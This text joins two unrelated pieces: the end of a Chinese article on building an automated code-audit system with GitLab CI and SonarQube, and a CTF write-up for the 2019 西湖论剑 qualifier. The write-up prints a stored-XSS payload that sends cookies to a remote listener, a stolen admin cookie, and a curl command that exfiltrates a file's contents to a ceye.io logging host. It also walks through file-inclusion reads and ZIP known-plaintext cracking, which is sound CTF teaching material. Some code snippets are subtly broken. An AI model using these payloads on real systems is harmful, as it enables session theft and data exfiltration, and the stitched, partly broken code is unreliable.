* 支持调度节点监控
* 支持漏洞知识库管理
* 支持 API 接口
* 支持分布式部署, 方便扩展来提升扫描能力
时间控制是为了保证 CI/CD
过程不会太长，避免影响项目发布。调度节点监控，这里存在两种情况：一种是调度进程的心跳监控；一种为扫描任务的超时监控。漏洞知识库主要为了与组件分析模块分析出的依赖组件进行漏洞匹配。API
接口是为了方便第三方(代指CI/CD)调用来下发扫描任务或查询结果。分布式部署方式，可以水平扩展来提高调度节点和API节点的处理速度与能力。
### 3\. 模块设计
**主要系统：**
* 代码托管子系统
* 自动化扫描子系统
* 第三方扫描子引擎
这里从整体角度来观察，大致分为三个子系统，`自动化扫描子系统`依赖`代码托管子系统`，但不依赖`扫描引擎(泛指第三方商业或开源审计产品)子系统`，这是由于`自动化扫描子系统`内部集成了组件漏洞识别、黑白名单规则、黑白名单插件等功能，最后我们用一张图来说明。
## 三、小结
代码扫描固然重要，但是它不会解决所有项目的安全问题。项目安全应该从多个维度、多角度的来进行。如：项目立项时开始SDL；开发迭代过程中的代码扫描；项目上线前的黑盒测试。
## 四、系统设计
### 4.1 基础与准备
这里我们主要使用 Linux 来搭建我们的自动化扫描系统，按照设计的角色划分，我们这里需要三台 CentOS 7
的服务器，当然服务器可以是物理设备也可以是虚拟机，如果公司内部的扫描项目较多或为以后扩展考虑意见使用物理机。
**服务器划分:**
这里我们假定一个 `codeaudit` 域, 三台服务器的主机名称分别为：
* **ui.codeaudit** : 负责后台管理系统的部署，包括数据库、MQ。
* **task.codeaudit** : 负责调度扫描引擎。
* **sonarqube.codeauit** : SonarQube的后台服务端。
### 4.2 技术说明
这里会讨论到所需的具体技术点，有些技术或方法可能不是最佳的方案，但是已经过我们测试检验是可行的。
以下为实际开发中用到的一些技能：
* Python/Django/Jquery/Celery
* Gitlab API/Sonar API
* Git/Gitlab CI/Jenkins
* Centos 7/Shell
* NFS/Nginx/uWSGI
* MySQL/RabbitMQ/Redis
* 安全漏洞知识
**CentOS 7**
CentOS 7 与 6 的版本会有一些区别，我们需要具有 Linux 的基本操作基础，了解 `systemctl`、`firewall-cmd`、`crontab`等命令；了解`SELinux`，修改`SELinux`状态；并能编写`systemd`的自启动脚本。
**Git**
了解 [Git](https://git-scm.com/docs) 的基本操作命令，使用 SSH 密钥的方式提交或拉取代码; 熟悉`git
clone`、`git log`、`git pull`、`git branch`、`git remote`、`git fetch`、`git for-each-ref`、`git ls-files`等基本命令的操作。
例如：
* 使用`git for-each-ref`来得到当前分支的最后一次 commit id；
* 使用`git ls-files`来判断项目中是否存在`sonar-project.properties`配置文件；
* 使用`git log -n1 /path/file`来获取文件最后一次 commit 的作者。
**CI/CD**
不论是集成到 [Gitlab CI](https://about.gitlab.com/features/gitlab-ci-cd/)
或是[Jenkins](https://jenkins.io/doc/),
我们都需要先了解项目上线的基本流程，如：开发的代码规范、测试环节（单元测试/功能测试）、发布部署环节等。一般我们会将代码扫描环节放在在测试环节后，发布部署前。
**Python**
这里我们使用`Python`进行后台的服务端开发，使用`Django`进行前台 UI 的开发，使用`django-rest-swagger`来开发 API
接口，使用`Celery`作为扫描任务的调度框架。
**数据库与中间件**
数据库我们选择使用 MySQL 5.7(或MariaDB, 他们在使用上没有太大的区别); `Celery` 的消息中间件可以使用 `Redis` 或是
`RabbitMQ`，这里你可以在开发的时候使用 `Redis`，正式部署时使用 `RabbitMQ`。
**安全漏洞知识**
* 了解 OWASP TOP 10 的漏洞类型原理与解决方案；
* 了解 CWE 的漏洞信息；
* 了解公司主流的开发语言。
### 4.3 模块设计
下图中我们自上而下按照逻辑大致划分了"四"层：UI层、存储层、服务层、任务调度扫描引擎层（由于任务调度与服务同在后台运行，所以又统称为服务层）。
#### 4.3.1 UI 层
提供扫描系统的后台管理、API接口、漏洞知识库等一系列的交互功能入口，不同的人员或系统可以根据各自的需求通过不同的交互接口来满足自己需求。如：CI/CD系统可通过
API 接口创建扫描任务并获取扫描结果；安全审计人员可通过后台进行规则或插件的添加；开发人员可通过漏洞知识库来获取相关语言或技术的漏洞信息。
#### 4.3.2 存储层
主要包括关系型数据库、消息中间件(指MQ)、NFS(网络文件系统)，这里我们使用了 MySQL 5.7 的数据库； RabbitMQ 是作为 Celery
调度框架的消息中间件；NFS担当网络共享存储，用于存储代码与扫描日志。
#### 4.3.3 调度层
扫描任务的执行流程，主要可分为：
* **初始化** ：扫描任务的环境初始化，如：日志目录、日志文件、加载插件、加载漏洞规则等；
* **分析项目** ：项目代码统计、依赖组件统计、漏洞知识库关联等；
* **扫描漏洞** ：调用第三方扫描引擎、统计扫描结果；
* **漏报处理** ：使用黑名单规则和插件进行扫描；
* **误报处理** ：使用白名单规则和插件进行误报处理；
* **闭环漏洞** ：针对高危漏洞在 GitLab 或 Jira 系统中创建一个 Issue。
#### 4.3.4 服务层
后台的服务，其主要包括：GitLab 系统中的项目同步、报表生成、调度进程监控。
## 五 系统功能
### 5.1 数据库设计
#### 5.1.1 权限相关
权限控制，这里使用 django
自带的权限表来进行权限控制，我们可以通过`auth_group`表来创建用户组，为不同的用户组赋予不同的角色权限`auth_group_permissions`，你可以访问官方地址：<https://docs.djangoproject.com/en/2.1/topics/auth/default/#topic-authorization> 来获得更多关于权限的信息。
django 权限表如下：
* `auth_group`
* `auth_group_permissions`
* `auth_permission`
* `auth_user`
* `auth_user_groups`
* `auth_user_user_permissions`
#### 5.1.2 项目相关
项目表主要包括：项目组、项目、分支与TAG、统计信息、依赖组件、插件规则、扫描任务等相关表。
#### 5.1.3 漏洞知识库
漏洞知识库，这里主要存储漏洞类型、漏洞知识等内容。
#### 5.1.4 系统相关
系统表主要包括系统的安全周报、节点监控、系统日志等信息。
### 5.2 UI系统
扫描系统的后台，方便安全审计人员管理项目和系统。
#### 5.2.1 项目管理
##### 5.2.1.1 项目组
项目组我们通过 GitLab 的 API
同步所有项目组信息到我们的扫描系统，项目组的信息包括：`项目组名称`、`项目组描述`、`创建时间`、`URL地址`、`项目成员`等。
##### 5.2.1.2 项目
项目是从分组中获取得到，需要注意的是可能会存在项目名相同但分组不同的情况。项目基本信息应包括：项目名称、项目描述、所属分组、默认分支、Git地址、项目成员、代码统计、依赖组件、分支管理、TAG管理等。
##### 5.2.1.3 扫描任务
扫描任务会有四种状态：等待调度、正在扫描、扫描完成、扫描失败。每一次创建扫描任务时，都会查询是否存在等待调度或正在扫描的任务，如果存在则提示创建失败。
#### 5.2.2 规则插件
##### 5.2.2.1 规则
这里使用正则表达式来做特征匹配，并可通过限定文件的后缀来提高精准度。
_正则表达式标志位：_
* 忽略大小写
* 支持多行匹配
##### 5.2.2.2 插件
这里使用了 Python
的反射机制，任务初始化时会优先初始化插件，当扫描完成时，扫描引擎会使用插件批量进行检测。插件入口函数为`run()`，漏洞详情对象会作为`**kwargs`参数的上下文传到该函数中。
##### 5.2.2.3 规则知识库
规则知识库是区别与漏洞知识库的，往往规则知识库的内容要比漏洞知识库的内容简单，但是结构清晰。如：漏洞示例代码、漏洞说明、解决办法、参考链接等信息。
#### 5.2.3 漏洞知识库
##### 5.2.3.1 漏洞类型
这里建议使用 CWE
的漏洞标准，可参考这个文档：`https://www.hackerone.com/sites/default/files/2017-03/WeaknessAndLegacyVulnerabilityTypeRelationship.pdf`
##### 5.2.3.2 漏洞管理
主要包括添加漏洞和管理漏洞，漏洞的信息应该包括：CVE/CNVD/CNNVD编号、漏洞标题、风险等级、漏洞来源、发现时间、受影响范围、漏洞详情、漏洞类型、解决版本等基本信息。
这里我们要实现漏洞知识库与识别出的组件联动功能，主要通过两个属性：
* 组件标签
这里需要为每个漏洞添加一个 Tag
属性，其属性值如：org.springframework、com.alibaba.fastjson，建议标签一律使用小写字母。
* 版本规则
使用正则表达式来进行匹配，如：CVE-2018-1270 中受影响的 Spring Framework 版本为：5.0.x-5.0.5 和
4.3.x-4.3.16，那么我们的规则可以写成如下：
5\.0 ### 5.0
(5\.0\.[0-4]{1}) ### 5.0.x -5.0.5
(4\.3\.1[0-5]{1}) ### 4.3.1x.release
(4\.3\.[0-9]{1}\.) ### 4.3.x.release
#### 5.2.4 报表管理
##### 5.2.4.1 语言与项目统计
按照年份进行项目的语言统计。
##### 5.2.4.2 周期性漏洞统计
**每季度漏洞数对比**
季度统计是为了对比同一段时期的漏洞数。
**高危漏洞趋势图**
高危漏洞环比，今天实施的安全政策是否合乎预期，可以大概分析出来。
### 5.3 API接口
#### 5.3.1 接口认证
使用 `rest_framework` 的 API 来做验证，首先根据登陆的用户 id 生成一个 Token。
from rest_framework.authtoken.models import Token
def create_token(request, user_id=None):
if request.user.id != int(user_id):
return HttpResponseRedirect("/error/403")
try:
user = User.objects.get(id=user_id)
except Token.DoesNotExist:
token = Token.objects.create(user=user)
return HttpResponseRedirect("/users/{0}".format(user_id))
验证接口使用说明，添加 Authorization 的认证 Token。
#### 5.3.2 项目信息接口
**信息同步**
为什么需要信息同步？这是因为 GitLab 中的项目名称可能不是最终上线的 APP 名称(这里有些绕)。拿一个 Java 的项目举例，该项目的 GitLab
地址为：`http://git.companyname.com/A/cloud`，那么这个Java的包名有可能是
`com.companyname.cloud`。
我们使用项目的 git 地址来同步信息，建议把 git 地址全部转换为小写。APP 的名称(包名)可以 CI/CD
系统获取或是通过配置文件的硬编码方式来定义。
**创建扫描**
信息同步完成后，我们就可以根据 APP 名称和 git 地址来创建一个扫描任务，请求参数参考如下：
* **app_name** : APP名称(可选)
* **module_name** : 模块名称(可选)
* **version** : 当前版本(可选)
* **git_url** : git地址 (必选)
* **branch_name** : 分支名称(必选)
#### 5.3.3 任务信息接口
**查询扫描任务**
根据项目的 git 地址、分支来查询扫描任务，你也可以根据上一步创建扫描任务的 ID 来查询扫描结果。
**查询任务漏洞列表**
当扫描任务状态为`扫描完成/扫描失败`时，就可以根据任务 ID 来查询扫描出的安全漏洞信息。
#### 5.3.4 漏洞规则接口
**查询漏洞规则知识**
通过漏洞信息中的漏洞规则 ID 或者 Key 来查询相关的规则知识库，该知识库应当包括：漏洞原因、漏洞示例代码、解决修复意见等。
### 5.4 后台服务
#### 5.4.1 gitlab 的信息同步
使用 crontab 每两个小时遍历一遍 GitLab 上的所有项目，并同步项目信息到扫描系统中。
#### 5.4.2 报表生成服务
使用 crontab 每日凌晨12点生成，季度对比和年度的安全统计数据。
#### 5.4.3 扫描进程监控
使用`ps aux| grep
codescan`来查看进程是否存活，当然这种暴力方式不能检测到进程的业务健康度的(比如：扫描任务卡死，状态一直为：正在扫描)。
### 5.5 SonarQube 搭建
#### 5.5.1 服务搭建
下载最新版本`https://www.sonarqube.org/downloads/`上传到`sonarqube.codeauit`服务器上并解压。进入到`bin/linux-x86-64/`目录下，执行
`sh ./sonar.sh start`。 SonarQube 启动成功后，使用浏览器打开`http://192.168.10.3:9000`, 输入
`admin/admin` 即可正常访问。
#### 5.5.2 插件管理
SonarQube 6.4 版本登陆的后台管理系统，选择 "配置" -> "系统" -> "更新中心" ， 选择对应插件点击 “Install” 进行安装。
SonarQube 7.3 版本， “Administration” -> "Marketplace"， 选择对应插件点击 “Install” 进行安装。
SonarQube 6.4 截图
### 5.6 引擎调度
程序部署在 “task.codeaudit” 服务器上，服务需要安装 cloc 与 sonar-scanner 工具。
#### 5.6.1 代码同步
同步代码分为以下几个步骤：
**克隆项目**
这里可能会遇到一些坑，比如项目历史比较久远，完整克隆下来可能会达到上百M或G，我们这里可以使用`--depth
1`参数进行克隆下载。有的项目可能会存在不规范的情况，比如拿 git 当 svn 使用，每个版本创建一个目录。
**切换分支**
根据扫描任务中的分支名称 checkout 到指定分支。
**更新代码**
针对已经克隆的项目进行 pull 操作，来同步 GitLab 上的项目更新代码。
#### 5.6.2 sonar-scanner 扫描
ssh 登录到`task.codeaudit`服务器上，执行`cd opt && wget
https://sonarsource.bintray.com/Distribution/sonar-scanner-cli/sonar-scanner-cli-3.2.0.1227-linux.zip && unzip sonar-scanner-cli-3.2.0.1227-linux.zip`来下载并解压，执行成功后使用`ln -s /opt/sonar-scanner-3.2.0.1227-linux/bin/sonar-scanner /usr/bin/sonar-scanner`命令创建一个`sonar-scanner` 的软连接。这里我们会使用`sonar-scanner`命令来进行项目的代码扫描。
你也可以通过`https://docs.sonarqube.org/display/SCAN/Analyzing+with+SonarQube+Scanner`来下载不同平台的`sonar-scanner-cli-3.2.0.1227-linux.zip`。
#### 5.6.3 代码统计
使用`cloc`工具进行文件与代码行数的统计, 这里你可能需要通过`--exclude-ext`、`--exclude-dir`参数来过滤一些无意义的文件，比如：字体、图片、声音、视频等。举个例子，过滤所有图片后统计：`cloc ./目标路径 --exclude-ext=.jpg,.jpeg,.png,.bmp,.gif,ico`。
#### 5.6.4 项目组件分析
组件分析主要是针对如使用 Java 语言开发项目时使用 Maven 管理的 pom.xml 配置文件; Python 中的 requirements.txt
文件；JS 项目中的`package.json`文件做解析。这里我写了一个`clocwalk`
工具可以分析项目的依赖组件，这个项目目前已经开源，你可以通过`https://github.com/MyKings/clocwalk`地址来获取这个工具。
#### 5.6.5 漏报处理
关于漏报问题，你可以根据自己企业 SRC 中的漏洞，总结出一套适合自己企业的黑名单规则；或者你可以添加一些 CWE 的漏洞规则，关于 CWE
的信息你可以访问这个地址 <https://cwe.mitre.org/data/index.html>。
#### 5.6.6 误报处理
关于误报问题可能会较多，比如扫描出单元测试或功能测试的硬编码问题；比如变量参数`String
PARAM_NAME_PASSWORD="passwd_txt";`问题。
以上的问题我们可以通过白名单插件处理，比如插件中对文件路径和方法判断是否存在 test
关键字，如果存在我们就认为这个是误报。另外针对某些特殊类型的误报，比如在 A 项目下才是误报，其他项目就是漏洞的情况，我们可以设置这个项目的白名单漏洞
Case，其匹配规则条件为：项目名称、漏洞文件、漏洞类型、漏洞所在行，当所有条件都同时满足时，那么这个漏洞就会可以判断为误报。
#### 5.6.7 漏洞闭环
当一个高/中危漏洞被发现并确认时，我们应该如何跟踪这个漏洞的生命周期？往往安全人员会将一个漏洞提交到内部的 SOC 系统中，由于 SOC
系统没有和项目开发的流程控制系统（如：Jira）没有直接联系，开发人员可能会忽视或忘记修复这个高危漏洞，如何避免这种情况？我们这里以 GitLab
举例，当扫描系统扫描出高危漏洞时，系统会通过 GitLab 的 `POST /projects/:id/issues` API接口来自动创建一条 issue
并指派给当前项目的
master，项目负责人同时会收到一条邮件提醒，那么项目负责人可根据漏洞严重程度来安排项目的迭代计划，这样我们就把审计系统扫描出的漏洞与项目开发流程很好的结合起来了。
### 5.7 GitLab CI 触发
当然也可以使用 Jenkins 来做 CI/CD 系统。我们这里开发了一个`.code-audit.py`触发脚本, Jenkins 你也可以使用
Python 脚本或是开发 Jenkins 插件来达到触发目的。
#### 5.7.1 配置项目
这里需要了解 `.gitlab-ci.yml` 文件格式的编写，下面是一个 Python 项目的配置。可以看出整个 CI 过程分为 4
个阶段：`build`、`test`、`codeaudit`、`deploy`。 其中`codeaudit`是我们的代码扫描阶段，这里我们限制了只有
develop 的动作才会触发扫描。
#### 5.7.2 扫描脚本
触发扫描脚本如下图，其大体的执行流程如下：
* 获取 GitLab CI 中关于项目的环境变量信息；
* 设定要拦截的漏洞级别，默认：中、高危漏洞不通过测试；
* 同步项目信息到扫描系统，如果失败扫描代码不通过；
* 创建扫描任务，如果失败扫描代码不通过；
* 异步查询扫描结果，超时时间10分钟，如果超时扫描代码不通过；
* 扫描结果完成，统计是否存在预定义级别的漏洞，如果存在扫描代码不通过。
下图为整个 CI 过程的截图。
下图为代码扫描失败的反馈结果，图中可以看出发现了一个漏洞。
## 六 总结
关于 “自动代码审计系统的建设”
文章这里就此完结了。下篇中有些章节可能说的比较笼统宽泛，但是要对每一个章节详详细细的说明，恐怕每一个章节都会写下不止一篇文章了，本篇文章只是为大家提供一种思路，具体实施效果还是要靠大家自己来实践总结，就这样吧：）
## 参考链接
* [CI (持续集成)](https://baike.baidu.com/item/%E6%8C%81%E7%BB%AD%E9%9B%86%E6%88%90)
* [CD (持续交付)](https://baike.baidu.com/item/%E6%8C%81%E7%BB%AD%E4%BA%A4%E4%BB%98)
* [OWASP 2017 TOP 10](https://www.owasp.org/index.php/Top_10-2017_Top_10)
* <https://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/crontab.html>
* <https://git-scm.com/docs>
* <https://docs.gitlab.com/ee/api/>
* <https://about.gitlab.com/features/gitlab-ci-cd/>
* <https://docs.gitlab.com/ce/ci/yaml/README.html>
* <https://docs.gitlab.com/ce/ci/examples/README.html>
* <https://docs.gitlab.com/ee/api/issues.html>
* <https://docs.gitlab.com/runner/install/docker.html>
* <https://docs.sonarqube.org/display/DEV/Web+API>
* <https://docs.djangoproject.com/en/2.1/topics/auth/default/#topic-authorization>
* <https://www.sonarqube.org/downloads/>
* <https://docs.sonarqube.org/display/SCAN/Analyzing+with+SonarQube+Scanner>
* <https://www.hackerone.com/sites/default/files/2017-03/WeaknessAndLegacyVulnerabilityTypeRelationship.pdf>
* <https://github.com/MyKings/clocwalk>
* * * | 社区文章 |
# 西湖论剑2019预选赛部分writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
昨天玩了一天的西湖论剑预选赛,自己主要做了crypto和web,有大佬级队友做了二进制的,在这里总结一下.
## 一.crypto
题目: 哈夫曼之谜
题目链接:[https://xpro-adl.91ctf.com/userdownload?filename=1904055ca752d3c1f20.zip&type=attach&feature=custom](https://xpro-adl.91ctf.com/userdownload?filename=1904055ca752d3c1f20.zip&type=attach&feature=custom)
题目描述:
打开压缩包后得到一个文本文件,内容如下
11000111000001010010010101100110110101111101110101011110111111100001000110010110101111001101110001000110
a:4
d:9
g:1
f:5
l:1
0:7
5:9
{:1
}:1
根据题目名哈夫曼之谜,很容易想到是哈夫曼编码与解码的问题
题目分析:
对于哈夫曼编码的介绍就不多说,每个计算机专业的同学应该上数据结构课都学过,具体可以参考百度百科:<https://baike.baidu.com/item/%E5%93%88%E5%A4%AB%E6%9B%BC%E7%BC%96%E7%A0%81/1719730?fr=aladdin>
对于这个题目,第一行的01串显然就是flag编码后的结果,被编码的元素是左边一列的字母,他们对应的权重在第二列,对于一个哈夫曼编码问题,首先需要根据元素的权重构建哈夫曼树,然后对要编码的字符串按照一定的算法进行编码,然后再按照一定的算法进行解码.这些算法我们不需要知道详细过程,做题时可完全没有必要自己实现一个哈夫曼编码,太费时间,所以我们可以参考网上实例代码进行修改即可
参考的哈夫曼编码代码的博客地址:<https://blog.csdn.net/qq_40328281/article/details/80412359>
代码分析:要修改的地方其实就是最大的编码长度maxn,text长度n,权重数据weight和text数组.
#include "pch.h"
#include <iostream>
const int maxvalue = 200;
const int maxbit = 200;
const int maxn = 200;
#include "stdio.h"
#include "stdlib.h"
using namespace std;
struct haffnode
{
char ch;
int weight;
int flag;
int parent;
int leftchild;
int rightchild;
};
struct code
{
int bit[maxn];
int start;
int weight;
char ch;
};
void haffman(int weight[], char text[], int n, haffnode hafftree[])
{
int j, m1, m2, x1, x2, i;
for (i = 0; i < 2 * n - 1; i++)
{
if (i < n)
{
hafftree[i].weight = weight[i];
hafftree[i].
ch = text[i];
}
else
{
hafftree[i].weight = 0;
hafftree[i].ch = '#';
}
hafftree[i].parent = 0;
hafftree[i].flag = 0;
hafftree[i].leftchild = -1;
hafftree[i].rightchild = -1;
}
for (i = 0; i < n - 1; i++)
{
m1 = m2 = maxvalue;
x1 = x2 = 0;
for (j = 0; j < n + i; j++)
{
if (hafftree[j].weight < m1&&hafftree[j].flag == 0)
{
m2 = m1;
x2 = x1;
m1 = hafftree[j].weight;
x1 = j;
}
else if (hafftree[j].weight < m2&&hafftree[j].flag == 0)
{
m2 = hafftree[j].weight; x2 = j;
}
}
hafftree[x1].parent = n + i;
hafftree[x2].parent = n + i;
hafftree[x1].flag = 1;
hafftree[x2].flag = 1;
hafftree[n + i].weight = hafftree[x1].weight + hafftree[x2].weight;
hafftree[n + i].leftchild = x1; hafftree[n + i].rightchild = x2;
}
}
void haffmancode(haffnode hafftree[], int n, code haffcode[])
{
code cd; int i, j; int child, parent;
for (i = 0; i < n; i++)
{
cd.start = n - 1;
cd.weight = hafftree[i].weight;
cd.ch = hafftree[i].ch;
child = i;
parent = hafftree[child].parent;
while (parent != 0)
{
if (hafftree[parent].leftchild == child)
cd.bit[cd.start] = 0;
else cd.bit[cd.start] = 1;
cd.start--;
child = parent;
parent = hafftree[child].parent;
}
for (j = cd.start + 1; j < n; j++)
haffcode[i].bit[j] = cd.bit[j];
haffcode[i].start = cd.start;
haffcode[i].weight = cd.weight;
haffcode[i].ch = cd.ch;
}
}
void ccode(haffnode hafftree[], int n)
{
int i, j = 0, m = 2 * n - 1;
char b[maxn];
memset(b, '', sizeof(b));
i = m - 1;
scanf("%s", b);
while (b[j] != '')
{
if (b[j] == '0')
i = hafftree[i].leftchild;
else
i = hafftree[i].rightchild;
if (hafftree[i].leftchild == -1)
{
printf("%c", hafftree[i].ch);
i = m - 1;
}
j++;
}
}
int main()
{
int n = 9;
int weight[] = { 4, 9, 1, 5, 1,7,9,1,1 };
char text[] = { 'a','5','{','f','g','0','d','}','l' };
haffnode myhafftree[maxvalue];
code myhaffcode[maxvalue] ;// "11000111000001010010010101100110110101111101110101011110111111100001000110010110101111001101110001000110";
haffman(weight, text, n, myhafftree);
haffmancode(myhafftree, n, myhaffcode);
ccode(myhafftree, n);
return 0;
}
运行结果:
## 二.web
### 1.babyt3
题目链接：<http://ctf1.linkedbyx.com:10160/>
题目解析:
通过扫描器发现存在.DS_Store文件,所以通过工具找到web路径
git clone <https://github.com/lijiejie/ds_store_exp.git>
python ds_store_exp.py <http://ctf1.linkedbyx.com:10160/.DS_Store>
[+] <http://ctf1.linkedbyx.com:10160/.DS_Store>
[+] <http://ctf1.linkedbyx.com:10160/templates/.DS_Store>
[+] <http://ctf1.linkedbyx.com:10160/dir.php>
[+] <http://ctf1.linkedbyx.com:10160/index.php/.DS_Store>
[+] <http://ctf1.linkedbyx.com:10160/templates/index.html>
当我们直接访问首页时,发现存在一段:include
$_GET[‘file’],所以尝试任意文件读:ctf1.linkedbyx.com:10160/?file=/proc/self/maps
结果能读取本进程的内存映射信息,然后尝试读dir.php:
ctf1.linkedbyx.com:10160/?file=dir.php发现一个hint,后面是一段base64编码,解开后得到dir.php.
到这里就稍微有点奇怪了,之前已经泄露了web路径,这里又提示dir.php,这不重复了么,但仔细一想应该不会重复提示路径,这个提示应该有另一层含义,于是根据文件名猜测这个文件可以列目录,即<http://ctf1.linkedbyx.com:10160/dir.php?dir=/>
结果果然显示了根路径下的文件,发现里面有个ffffflag_1s_Her4文件,于是直接
读取:<http://ctf1.linkedbyx.com:10160/?file=/ffffflag_1s_Her4>
得到flag.
### 2.breakout
domain:ctf1.linkedbyx.com
port:10231
题目解析:
打开web页面发现需要登录,随便填写用户名和密码就登录上去了.登录进入之后发现里面有3个子页面,第一个子页面可以留言评论,第二个子页面是将某个链接发送给管理员,管理员会携带cookie查看该页面,第三个子页面是执行命令和清除留言,尝试直接输入命令执行,提示说要有管理员权限才可以执行命令.到这里,很显然这是一个xss漏洞盗取管理员cookie然后登录管理员账号去执行命令.
在留言处,经过测试,发现会过滤script字符串为:)微笑脸,测试onload之类的属性,发现这些属性一旦被包含在<>中也会被过滤,再构造payload如下[svg/onload
=window.location.href=”http://794479644:2233/?”+document.cookie](2233/?%22+document.cookie)这次没有问题了,所以通过将存在存储型xss的链接通过子页面2发送给管理员,这里说一句,发送时需要填写验证码,这个验证吗是取md5的前6位,通过下面代码爆破即可
#!/usr/bin/env python
import hashlib
def md5(s):
return hashlib.md5(s).hexdigest()
for i in range(1, 9999999):
if md5(str(i)).startswith('bda8'):#这里bda8改为6位的验证码
print i
break
打到的cookie如下: [07/Apr/2019 14:11:00] “GET
/?PHPSESSID=vqp2s89la2r2nps4fjmmu1ibn3;%20token=tndPF6Lo3OUkKY19JcmIhA==;%20admin=admin_!@@!_admin_admin_hhhhh
HTTP/1.1” 200 –
在burpsuite里面替换原来的cookie,再使用ceye卡带外得到flag.这里的执行命令不回显,所以通过ceye带外也可以得到flag的
POST /exec.php HTTP/1.1
Host: ctf1.linkedbyx.com:10231
Content-Length: 97
Cache-Control: max-age=0
Origin: http://ctf1.linkedbyx.com:10231
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://ctf1.linkedbyx.com:10231/exec.php
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=m2sgspv9b0mi3c4fg596flsco5; token=mZB3UVXDUYoNeRf3eAskqg%3D%3D; admin=admin_!@@!_admin_admin_hhhhh;
Connection: close
command=curl http://xxxxxx.bjslfd.ceye.io/`cat /flag.txt|base64`&exec=1
flag{fa51320ae808c70485dd5f30337026d6}
### 3.猜猜flag是什么
domain:ctf2.linkedbyx.com
port:10782
题目详解:
又是一个web路径泄露:
<http://ctf2.linkedbyx.com:10782/.DS_Store>
[+] <http://ctf2.linkedbyx.com:10782/.DS_Store>
[+] <http://ctf2.linkedbyx.com:10782/yingyingying/.DS_Store>
[+] <http://ctf2.linkedbyx.com:10782/index.php/.DS_Store>
[+] <http://ctf2.linkedbyx.com:10782/e10adc3949ba59abbe56e057f20f883e>
[+] <http://ctf2.linkedbyx.com:10782/flag>
[+] <http://ctf2.linkedbyx.com:10782/yingyingying/index.html>
访问flag,提示没那么容易得到flag,显然还需要通过别的操作.对于e10adc3949ba59abbe56e057f20f883e这个路径,又得到源码泄露:
<http://101.68.81.235:10782/e10adc3949ba59abbe56e057f20f883e/.git/>
BackupForMySite.zip 有密码,但是是已知明文攻击
index.php
lengzhu.jpg
[OK] index.php
[OK] lengzhu.jpg
[OK] BackupForMySite.zip
下载BackupForMySite.zip
,发下有密码,但通过winrar查看里面的文件,是存在一个lengzhu.jpg的,我们再下载这个lengzhu.jpg,显然是一个zip的已知明文攻击.
首先使用2345好压将lengzhu.jpg压缩成zip,为什么要用好压呢,因为BackupForMySite.zip是好压进行压缩的,攻击时也需要用同样的软件压缩明文,但又为什么知道是好压呢,我是一个个测试的,发现winrar和7zip都不行,然后下载了好压发现可以.
然后利用archpr工具,选择明文攻击,加载好2个zip文件进行攻击即可,过一段时间停止攻击,会发现并没有得到密码,但是可以解压缩文件,这是明文攻击的特性,而且我们也没有必要知道密码,能解压就好.
解压得到hint内容:
code is 9faedd5999937171912159d28b219d86
well ok ur good...By the way, flag saved in flag/seed.txt
然后来到首页,提示没有code,因此通过get方法指定:
<http://ctf2.linkedbyx.com:10782/?code=9faedd5999937171912159d28b219d86>
得到一个随机数,然后又根据hint知道是php伪随机数不安全爆破seed的思路.
接着根据这个随机数使用php_mt_seed工具爆破seed:
php_mt_seed工具的下载及使用:<https://www.openwall.com/php_mt_seed/>
然后尝试下得到的这些seed,发现361845是真正的seed, 访问即可得到flag:
## 三.re
### 1.junk_instruction
题目文件:[https://xpro-adl.91ctf.com/userdownload?filename=1904055ca752e532f14.zip&type=attach&feature=custom](https://xpro-adl.91ctf.com/userdownload?filename=1904055ca752e532f14.zip&type=attach&feature=custom)
从题目名字看出,这是一个含有垃圾指令例如花指令的程序.
而且从文件图标来看,显然是一个mfc写的程序.
打开程序发现需要输入flag,然后点击check来检测是否正确.可以猜测是将我们的输入进行各种加密处理然后和程序中的某个字符串(可能是动态生成的)比较,得出是否输入正确.
通过xspy工具:<https://github.com/lynnux/xspy/tree/master/xspydll>
找到check按钮的处理函数:
查看该函数
从这个check函数的逻辑看,应该是402600对输入进行判断,下面2个if分支对应于输入正确和错误的弹窗.跟进402600,发现该函数后面又几段花指令,例如这个:
call %+5直到下面的retn都是花指令,找到这几段类似的代码,全部nop掉即可.
然后f5反编译:
v2 = (const WCHAR *)sub_401570(&a1);
v17 = (void *)sub_4030A0(v2);
v13 = v17;
LOBYTE(v70) = 1;
v3 = (void *)sub_401570(v17);
sub_403000((int)&v60, v3);
LOBYTE(v70) = 3;
sub_4012A0(&v18);
v19 = (char *)unknown_libname_1(&v60);
v54 = v19;
v16 = v19 + 1;
v54 += strlen(v54);
v14 = ++v54 - (v19 + 1);
v12 = v54 - (v19 + 1);
v68 = 0;
memset(&v69, 0, 0x27u);
strncpy(&v68, v19, v54 - (v19 + 1));
if ( sub_402AF0(&v68) ) // 判断输入长度
{
v57 = 0;
v59 = 0;
LABEL_7:
v58 = v59;
}
else
{
v63 = 1919252337;//这里是rc4密钥
v64 = 1769306484;
v65 = 28783;
v66 = 0;
memset(&v67, 0, 0xF5u);
v61 = 0;
memset(&v62, 0, 0xFFu);
v7 = 0;
memset(&v8, 0, 0x1FFu);
v53 = (const char *)&v63;
v10 = (int *)((char *)&v63 + 1);
v53 += strlen(v53);
v9 = ++v53 - ((const char *)&v63 + 1);
v6 = v53 - ((const char *)&v63 + 1);
v5 = &v63;
sub_402CA0(&v61);
v56 = &v68;
v15 = &v69;
v56 += strlen(v56);
v11 = ++v56 - &v69;
sub_402E80(v20, &v61, &v68, v56 - &v69);
for ( i = 31; i >= 0; --i )
{
if ( *(&v68 + i) != *((char *)&savedregs + i + (_DWORD)&loc_4026B7 - 4204867) )
{
v59 = 0;
goto LABEL_7;
}
}
v58 = 1;
}
LOBYTE(v70) = 0;
sub_403060((int)&v60);
v70 = -1;
sub_4012A0(&a1);
return v58;
}
通过分析程序先将输入进行了逆序,再使用rc4加密.
rc4数组初始化:该函数也是被花指令的,使用相同方法处理即可
